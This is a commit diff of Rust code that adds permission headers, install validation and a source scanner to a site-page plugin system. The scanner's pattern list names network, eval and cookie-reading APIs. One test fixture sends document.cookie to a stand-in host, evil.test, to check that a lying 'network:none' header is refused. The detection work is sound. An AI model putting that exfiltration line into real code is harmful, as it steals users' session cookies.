Plugin permissions and app installs: @permissions header, per-plugin API views, validated install/remove
- host plugins.rs: PERMISSIONS, parse_permissions, ScriptPlugin.permissions/problems (None = legacy, full API), validate_plugin (file name, 2 MiB, UTF-8 text without binary bytes, header with @name and @version, valid @permissions, network:none refused when the code calls network APIs), source_findings, PluginStore::install (atomic rename, never enables, keeps the enabled state on update) / remove / is_enabled / file_hash. start/stop scripts run the module body, construction, start() and stop() inside window.<global>.withPlugin(id, grants, fn) when the runtime has it. - runtime permissions.ts: parsePermissions, scopePluginApi (undeclared gated members throw a PluginPermissionError; scope().ui gated like api.ui), createPluginContext (the view of the plugin whose code runs; legacy = full API). A declaration and guard rail, not a sandbox. - The `commands` permission name comes from the parallel palette-commands work (its API lands there).
This commit is contained in:
parent
0d222a45ac
commit
cb0f7d358d
3 changed files with 523 additions and 8 deletions
|
|
@ -1,8 +1,16 @@
|
|||
//! BetterDiscord-style extensions for the site page: `*.plugin.js` files and custom CSS.
|
||||
//!
|
||||
//! Plugins are trusted by the owner who puts them in the folder. They run in the site page with
|
||||
//! full page access. Native code only reads files from its own plugins directory, never from a
|
||||
//! caller-supplied path, and the scripts it builds embed plugin data as JSON string literals.
|
||||
//! Plugins are trusted by the owner who installs them: by copying files into the folder, or through
|
||||
//! the app's install screen (dropped file, `waybetter://install` link, store), which shows the name,
|
||||
//! author, version, source, sha256, permissions and the code before anything is written (see
|
||||
//! [`validate_plugin`] and [`PluginStore::install`]). They run in the site page with full page
|
||||
//! access. Native code only reads files from its own plugins directory, never from a caller-supplied
|
||||
//! path, and the scripts it builds embed plugin data as JSON string literals.
|
||||
//!
|
||||
//! A header may declare `@permissions` (see [`PERMISSIONS`]). The page runtime then hands the
|
||||
//! plugin an API view that throws on undeclared members (`withPlugin`, runtime `permissions.ts`).
|
||||
//! That is a declaration plus a guard rail, not a sandbox: page JavaScript can always reach around
|
||||
//! it. A plugin without the line is "legacy" (full API, labelled so in the app).
|
||||
|
||||
use serde::Serialize;
|
||||
use sha2::{Digest, Sha256};
|
||||
|
|
@ -39,6 +47,9 @@ fn content_hash(bytes: &[u8]) -> String {
|
|||
Sha256::digest(bytes).iter().map(|byte| format!("{byte:02x}")).collect()
|
||||
}
|
||||
|
||||
/// Permissions a plugin header may declare. `network` / `network:none` are declarations only.
|
||||
pub const PERMISSIONS: &[&str] = &["storage", "ui", "clipboard", "account", "users", "commands", "network", "network:none"];
|
||||
|
||||
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct ScriptPlugin {
|
||||
|
|
@ -48,6 +59,34 @@ pub struct ScriptPlugin {
|
|||
pub version: String,
|
||||
pub author: String,
|
||||
pub enabled: bool,
|
||||
/// Declared `@permissions`; `None` = no line (legacy: full API, full page access).
|
||||
pub permissions: Option<Vec<String>>,
|
||||
/// Header problems (unknown permission names ...). The valid part still applies.
|
||||
#[serde(skip_serializing_if = "Vec::is_empty")]
|
||||
pub problems: Vec<String>,
|
||||
}
|
||||
|
||||
/// Parses a `@permissions` value: comma/space separated, case-insensitive, `none` = no grants.
|
||||
/// Same rules as the runtime's `parsePermissions`.
|
||||
pub fn parse_permissions(value: &str) -> Result<Vec<String>, String> {
|
||||
let mut out: Vec<String> = Vec::new();
|
||||
for token in value.split(|ch: char| ch == ',' || ch.is_whitespace()).filter(|token| !token.is_empty()) {
|
||||
let token = token.to_ascii_lowercase();
|
||||
if token == "none" {
|
||||
continue;
|
||||
}
|
||||
if !PERMISSIONS.contains(&token.as_str()) {
|
||||
let shown: String = token.chars().take(40).collect();
|
||||
return Err(format!("unknown permission \"{shown}\""));
|
||||
}
|
||||
if !out.contains(&token) {
|
||||
out.push(token);
|
||||
}
|
||||
}
|
||||
if out.iter().any(|p| p == "network") && out.iter().any(|p| p == "network:none") {
|
||||
return Err("\"network\" and \"network:none\" contradict each other".into());
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// A plugin file name must be a bare `name.plugin.js` inside the plugins directory.
|
||||
|
|
@ -61,7 +100,8 @@ pub fn valid_file_name(file: &str) -> bool {
|
|||
.all(|ch| ch.is_ascii_alphanumeric() || b"_-. ".contains(&ch))
|
||||
}
|
||||
|
||||
/// Reads `@name`, `@description`, `@version` and `@author` from the leading `/** … */` block.
|
||||
/// Reads `@name`, `@description`, `@version`, `@author` and `@permissions` from the leading
|
||||
/// `/** … */` block.
|
||||
pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
|
||||
let mut plugin = ScriptPlugin {
|
||||
file: file.to_owned(),
|
||||
|
|
@ -70,6 +110,8 @@ pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
|
|||
version: String::new(),
|
||||
author: String::new(),
|
||||
enabled: false,
|
||||
permissions: None,
|
||||
problems: Vec::new(),
|
||||
};
|
||||
let trimmed = source.trim_start_matches('\u{feff}').trim_start();
|
||||
let Some(body) = trimmed.strip_prefix("/**") else {
|
||||
|
|
@ -90,12 +132,106 @@ pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
|
|||
"description" => plugin.description = value,
|
||||
"version" => plugin.version = value,
|
||||
"author" => plugin.author = value,
|
||||
"permissions" => {
|
||||
// Several lines add up; an invalid line grants nothing from that line.
|
||||
let granted = plugin.permissions.get_or_insert_with(Vec::new);
|
||||
match parse_permissions(&value) {
|
||||
Ok(list) => {
|
||||
for permission in list {
|
||||
if !granted.contains(&permission) {
|
||||
granted.push(permission);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(problem) => plugin.problems.push(format!("@permissions: {problem}")),
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
if let Some(list) = &plugin.permissions {
|
||||
if list.iter().any(|p| p == "network") && list.iter().any(|p| p == "network:none") {
|
||||
plugin.problems.push("@permissions: \"network\" and \"network:none\" contradict each other".into());
|
||||
}
|
||||
}
|
||||
plugin
|
||||
}
|
||||
|
||||
/// What a source scan found that a reviewer should see before installing. Heuristic: minified or
|
||||
/// obfuscated code can hide all of these, so an empty list proves nothing.
|
||||
pub fn source_findings(source: &str) -> Vec<&'static str> {
|
||||
const PATTERNS: &[(&str, &str)] = &[
|
||||
("fetch(", "makes network requests (fetch)"),
|
||||
("XMLHttpRequest", "makes network requests (XMLHttpRequest)"),
|
||||
("WebSocket", "opens WebSockets"),
|
||||
("EventSource", "opens server-sent event streams"),
|
||||
("sendBeacon", "sends beacons"),
|
||||
("import(", "loads code at runtime (import())"),
|
||||
("eval(", "evaluates strings as code (eval)"),
|
||||
("new Function", "evaluates strings as code (new Function)"),
|
||||
("document.cookie", "reads cookies"),
|
||||
("innerHTML", "writes HTML (innerHTML)"),
|
||||
];
|
||||
let mut found: Vec<&'static str> = Vec::new();
|
||||
for (needle, finding) in PATTERNS {
|
||||
if source.contains(needle) && !found.contains(finding) {
|
||||
found.push(finding);
|
||||
}
|
||||
}
|
||||
found
|
||||
}
|
||||
|
||||
/// A plugin file checked for installation through the app (never for files the owner copied in).
|
||||
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct ValidatedPlugin {
|
||||
pub meta: ScriptPlugin,
|
||||
pub sha256: String,
|
||||
pub size: usize,
|
||||
pub findings: Vec<&'static str>,
|
||||
}
|
||||
|
||||
/// Checks a plugin before it may be installed: a valid file name, at most [`MAX_PLUGIN_BYTES`],
|
||||
/// UTF-8 text without NUL or other binary control bytes, a `/** … */` header with `@name` and
|
||||
/// `@version`, and a valid `@permissions` line when there is one. A header that declares
|
||||
/// `network:none` while the source calls network APIs is refused.
|
||||
pub fn validate_plugin(file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
|
||||
if !valid_file_name(file) {
|
||||
return Err("VALIDATION: the file name must look like name.plugin.js (letters, digits, - _ . and spaces)".into());
|
||||
}
|
||||
if bytes.is_empty() {
|
||||
return Err("VALIDATION: the plugin file is empty".into());
|
||||
}
|
||||
if bytes.len() as u64 > MAX_PLUGIN_BYTES {
|
||||
return Err("VALIDATION: plugins are limited to 2 MiB".into());
|
||||
}
|
||||
let source = std::str::from_utf8(bytes).map_err(|_| "VALIDATION: a plugin must be UTF-8 text")?;
|
||||
if source.chars().any(|ch| (ch.is_control() && !matches!(ch, '\n' | '\r' | '\t' | '\u{c}')) || ch == '\u{fffd}') {
|
||||
return Err("VALIDATION: the file contains binary data, not JavaScript text".into());
|
||||
}
|
||||
let trimmed = source.trim_start_matches('\u{feff}').trim_start();
|
||||
if !trimmed.starts_with("/**") || !trimmed.contains("*/") {
|
||||
return Err("VALIDATION: a plugin must start with a /** … */ header (@name, @version)".into());
|
||||
}
|
||||
let meta = parse_meta(file, source);
|
||||
let header = &trimmed[..trimmed.find("*/").unwrap_or(0)];
|
||||
if !header.contains("@name") || meta.name.trim().is_empty() {
|
||||
return Err("VALIDATION: the header needs an @name".into());
|
||||
}
|
||||
if meta.version.trim().is_empty() {
|
||||
return Err("VALIDATION: the header needs an @version".into());
|
||||
}
|
||||
if let Some(problem) = meta.problems.first() {
|
||||
return Err(format!("VALIDATION: {problem}"));
|
||||
}
|
||||
let findings = source_findings(source);
|
||||
let promises_no_network = meta.permissions.as_ref().is_some_and(|list| list.iter().any(|p| p == "network:none"));
|
||||
if promises_no_network && findings.iter().any(|finding| finding.contains("network") || finding.contains("WebSocket") || finding.contains("beacon") || finding.contains("event streams")) {
|
||||
return Err("VALIDATION: the header says network:none but the code uses network APIs".into());
|
||||
}
|
||||
Ok(ValidatedPlugin { sha256: content_hash(bytes), size: bytes.len(), findings, meta })
|
||||
}
|
||||
|
||||
pub struct PluginStore {
|
||||
dir: PathBuf,
|
||||
host: &'static PluginHost,
|
||||
|
|
@ -216,6 +352,53 @@ impl PluginStore {
|
|||
Ok(plugins)
|
||||
}
|
||||
|
||||
/// Whether `file` is enabled.
|
||||
pub fn is_enabled(&self, file: &str) -> bool {
|
||||
self.enabled_set().contains(file)
|
||||
}
|
||||
|
||||
/// sha256 of an installed plugin file, or None when it is missing or unreadable.
|
||||
pub fn file_hash(&self, file: &str) -> Option<String> {
|
||||
self.read_source(file).ok().map(|source| content_hash(source.as_bytes()))
|
||||
}
|
||||
|
||||
/// Writes a plugin the owner confirmed in the app's install screen. The bytes are validated
|
||||
/// again ([`validate_plugin`]); the file is written next to its final name and renamed over it,
|
||||
/// so a running X tab never reads half a file. Never enables it; an existing file of that name
|
||||
/// is replaced (an update), keeping its enabled state.
|
||||
pub fn install(&self, file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
|
||||
let validated = validate_plugin(file, bytes)?;
|
||||
self.ensure()?;
|
||||
let target = self.dir.join(file);
|
||||
if target.exists() && !fs::metadata(&target).map(|meta| meta.is_file()).unwrap_or(false) {
|
||||
return Err("PLUGINS: a folder of that name is in the way".into());
|
||||
}
|
||||
let temp = self.dir.join(format!(".{file}.installing"));
|
||||
fs::write(&temp, bytes).map_err(|error| format!("PLUGINS: {error}"))?;
|
||||
if let Err(error) = fs::rename(&temp, &target) {
|
||||
let _ = fs::remove_file(&temp);
|
||||
return Err(format!("PLUGINS: {error}"));
|
||||
}
|
||||
Ok(validated)
|
||||
}
|
||||
|
||||
/// Deletes a plugin file and forgets that it was enabled. A first-party plugin removed this way
|
||||
/// stays removed (see [`Self::install_bundled`]).
|
||||
pub fn remove(&self, file: &str) -> Result<(), String> {
|
||||
if !valid_file_name(file) {
|
||||
return Err("VALIDATION: invalid plugin file name".into());
|
||||
}
|
||||
let path = self.dir.join(file);
|
||||
let meta = fs::metadata(&path).map_err(|_| "PLUGINS: plugin file not found")?;
|
||||
if !meta.is_file() {
|
||||
return Err("PLUGINS: not a plugin file".into());
|
||||
}
|
||||
if self.is_enabled(file) {
|
||||
self.set_enabled(file, false)?;
|
||||
}
|
||||
fs::remove_file(&path).map_err(|error| format!("PLUGINS: {error}"))
|
||||
}
|
||||
|
||||
pub fn set_enabled(&self, file: &str, enabled: bool) -> Result<(), String> {
|
||||
self.read_source(file)?;
|
||||
let mut set = self.enabled_set();
|
||||
|
|
@ -261,17 +444,24 @@ fn js_string(value: &str) -> Result<String, String> {
|
|||
|
||||
/// Wraps a CommonJS-style plugin (`module.exports = class { start() {} stop() {} }`).
|
||||
/// Native code evaluates the result in the site tab, so the page's CSP does not block it.
|
||||
///
|
||||
/// The module body, construction, `start()` and `stop()` run inside
|
||||
/// `window.<global>.withPlugin(id, grants, fn)` when the runtime has it: reads of
|
||||
/// `window.<global>.api` there return the plugin's view for its declared `@permissions` (`grants`
|
||||
/// = null for a legacy plugin without the line: the full API).
|
||||
pub fn start_script(host: &PluginHost, file: &str, source: &str) -> Result<String, String> {
|
||||
let id = js_string(file)?;
|
||||
let grants = serde_json::to_string(&parse_meta(file, source).permissions).map_err(|_| "PLUGINS: serialization failed")?;
|
||||
let PluginHost { runtime_global: global, origin, product, .. } = host;
|
||||
Ok(format!(
|
||||
"(()=>{{const XW=window.{global};if(!XW||window.top!==window||location.origin!=='{origin}')return;\
|
||||
const id={id};if(XW.plugins[id])return;\
|
||||
const as=f=>typeof XW.withPlugin==='function'?XW.withPlugin(id,{grants},f):f();\
|
||||
try{{const module={{exports:{{}}}};const exports=module.exports;\
|
||||
(function(module,exports){{\n{source}\n}})(module,exports);\
|
||||
as(()=>{{(function(module,exports){{\n{source}\n}})(module,exports);}});\
|
||||
let P=module.exports&&module.exports.default?module.exports.default:module.exports;\
|
||||
const inst=typeof P==='function'?(P.prototype&&(P.prototype.start||P.prototype.stop)?new P():P()):P;\
|
||||
XW.plugins[id]=inst||{{}};delete XW.errors[id];if(inst&&typeof inst.start==='function')inst.start();\
|
||||
const inst=as(()=>typeof P==='function'?(P.prototype&&(P.prototype.start||P.prototype.stop)?new P():P()):P);\
|
||||
XW.plugins[id]=inst||{{}};delete XW.errors[id];if(inst&&typeof inst.start==='function')as(()=>inst.start());\
|
||||
console.info('[{product}] started',id);}}\
|
||||
catch(e){{XW.errors[id]=String(e&&e.stack||e);console.error('[{product}] plugin failed',id,e);}}}})();"
|
||||
))
|
||||
|
|
@ -283,7 +473,8 @@ pub fn stop_script(host: &PluginHost, file: &str) -> Result<String, String> {
|
|||
Ok(format!(
|
||||
"(()=>{{const XW=window.{global};if(!XW)return;const id={id};const p=XW.plugins[id];\
|
||||
if(!p)return;delete XW.plugins[id];\
|
||||
try{{if(typeof p.stop==='function')p.stop();console.info('[{product}] stopped',id);}}\
|
||||
const as=f=>typeof XW.withPlugin==='function'?XW.withPlugin(id,undefined,f):f();\
|
||||
try{{if(typeof p.stop==='function')as(()=>p.stop());console.info('[{product}] stopped',id);}}\
|
||||
catch(e){{console.error('[{product}] plugin stop failed',id,e);}}}})();"
|
||||
))
|
||||
}
|
||||
|
|
@ -379,4 +570,81 @@ mod tests {
|
|||
let css = css_script(&HOST, "</style><script>").unwrap();
|
||||
assert!(css.contains("const id='demo-css'") && css.contains(r#"s.textContent="</style><script>";"#));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn permissions_header_is_parsed_strictly() {
|
||||
assert_eq!(parse_permissions("storage, ui clipboard,UI").unwrap(), vec!["storage", "ui", "clipboard"]);
|
||||
assert_eq!(parse_permissions("none").unwrap(), Vec::<String>::new());
|
||||
assert!(parse_permissions("storage, cookies").unwrap_err().contains("unknown permission \"cookies\""));
|
||||
assert!(parse_permissions("network network:none").is_err());
|
||||
let legacy = parse_meta("a.plugin.js", "/**\n * @name A\n * @version 1.0.0\n */");
|
||||
assert_eq!(legacy.permissions, None, "no line = legacy, full API");
|
||||
let declared = parse_meta("b.plugin.js", "/**\n * @name B\n * @permissions storage, ui\n * @permissions network:none\n */");
|
||||
assert_eq!(declared.permissions, Some(vec!["storage".into(), "ui".into(), "network:none".into()]));
|
||||
let bad = parse_meta("c.plugin.js", "/**\n * @name C\n * @permissions storage\n * @permissions root\n */");
|
||||
assert_eq!(bad.permissions, Some(vec!["storage".into()]), "an invalid line grants nothing");
|
||||
assert_eq!(bad.problems.len(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn install_validation_rejects_binary_oversized_and_headerless_files() {
|
||||
let good = "/**\n * @name Good\n * @version 1.0.0\n * @author me\n * @permissions ui\n */\nmodule.exports = class { start(){} stop(){} };";
|
||||
let ok = validate_plugin("good.plugin.js", good.as_bytes()).unwrap();
|
||||
assert_eq!((ok.meta.name.as_str(), ok.size), ("Good", good.len()));
|
||||
assert_eq!(ok.sha256, content_hash(good.as_bytes()));
|
||||
assert!(ok.findings.is_empty());
|
||||
let err = |file: &str, bytes: &[u8]| validate_plugin(file, bytes).unwrap_err();
|
||||
assert!(err("../good.plugin.js", good.as_bytes()).contains("file name"));
|
||||
assert!(err("good.js", good.as_bytes()).contains("file name"));
|
||||
assert!(err("e.plugin.js", b"").contains("empty"));
|
||||
assert!(err("big.plugin.js", &vec![b'a'; MAX_PLUGIN_BYTES as usize + 1]).contains("2 MiB"));
|
||||
assert!(err("bin.plugin.js", b"/** @name X @version 1 */\0\x01\x02").contains("binary"));
|
||||
assert!(err("bin.plugin.js", &[0xff, 0xfe, 0x00]).contains("UTF-8"));
|
||||
assert!(err("nohead.plugin.js", b"module.exports = {};").contains("header"));
|
||||
assert!(err("noname.plugin.js", b"/**\n * @version 1.0.0\n */").contains("@name"));
|
||||
assert!(err("nover.plugin.js", b"/**\n * @name N\n */").contains("@version"));
|
||||
assert!(err("perm.plugin.js", b"/**\n * @name P\n * @version 1\n * @permissions everything\n */").contains("unknown permission"));
|
||||
let liar = "/**\n * @name L\n * @version 1\n * @permissions network:none\n */\nfetch('https://evil.test/?' + document.cookie);";
|
||||
assert!(err("liar.plugin.js", liar.as_bytes()).contains("network:none"));
|
||||
let honest = liar.replace("network:none", "network");
|
||||
let findings = validate_plugin("honest.plugin.js", honest.as_bytes()).unwrap().findings;
|
||||
assert!(findings.contains(&"makes network requests (fetch)") && findings.contains(&"reads cookies"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn install_writes_atomically_keeps_enabled_state_and_remove_forgets_it() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let store = PluginStore::new(root.path().join("plugins"), &HOST);
|
||||
let v1 = "/**\n * @name Up\n * @version 1.0.0\n */\nmodule.exports = class { start(){} };";
|
||||
let v2 = v1.replace("1.0.0", "1.1.0");
|
||||
store.install("up.plugin.js", v1.as_bytes()).unwrap();
|
||||
assert!(!store.is_enabled("up.plugin.js"), "installing never enables");
|
||||
store.set_enabled("up.plugin.js", true).unwrap();
|
||||
let installed = store.install("up.plugin.js", v2.as_bytes()).unwrap();
|
||||
assert_eq!(installed.meta.version, "1.1.0");
|
||||
assert!(store.is_enabled("up.plugin.js"), "an update keeps the enabled state");
|
||||
assert_eq!(store.file_hash("up.plugin.js"), Some(content_hash(v2.as_bytes())));
|
||||
assert!(fs::read_dir(store.dir()).unwrap().all(|entry| !entry.unwrap().file_name().to_string_lossy().ends_with(".installing")));
|
||||
assert!(store.install("bad.plugin.js", b"not a plugin").is_err());
|
||||
assert!(!store.dir().join("bad.plugin.js").exists(), "an invalid file is never written");
|
||||
store.remove("up.plugin.js").unwrap();
|
||||
assert!(!store.dir().join("up.plugin.js").exists());
|
||||
assert!(!store.is_enabled("up.plugin.js"));
|
||||
assert!(store.remove("../escape.plugin.js").is_err());
|
||||
// A removed first-party plugin stays removed.
|
||||
store.remove("wb-one.plugin.js").unwrap();
|
||||
store.ensure().unwrap();
|
||||
assert!(!store.dir().join("wb-one.plugin.js").exists());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn start_script_hands_the_runtime_the_declared_grants() {
|
||||
let declared = start_script(&HOST, "d.plugin.js", "/**\n * @name D\n * @permissions storage, ui\n */\nmodule.exports = {};").unwrap();
|
||||
assert!(declared.contains(r#"XW.withPlugin(id,["storage","ui"],f)"#));
|
||||
assert!(declared.contains("as(()=>{(function(module,exports){"), "the module body runs as the plugin");
|
||||
let legacy = start_script(&HOST, "l.plugin.js", "module.exports = {};").unwrap();
|
||||
assert!(legacy.contains("XW.withPlugin(id,null,f)"), "legacy plugins get the full API");
|
||||
let stop = stop_script(&HOST, "d.plugin.js").unwrap();
|
||||
assert!(stop.contains("XW.withPlugin(id,undefined,f)") && stop.contains("as(()=>p.stop())"));
|
||||
}
|
||||
}
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue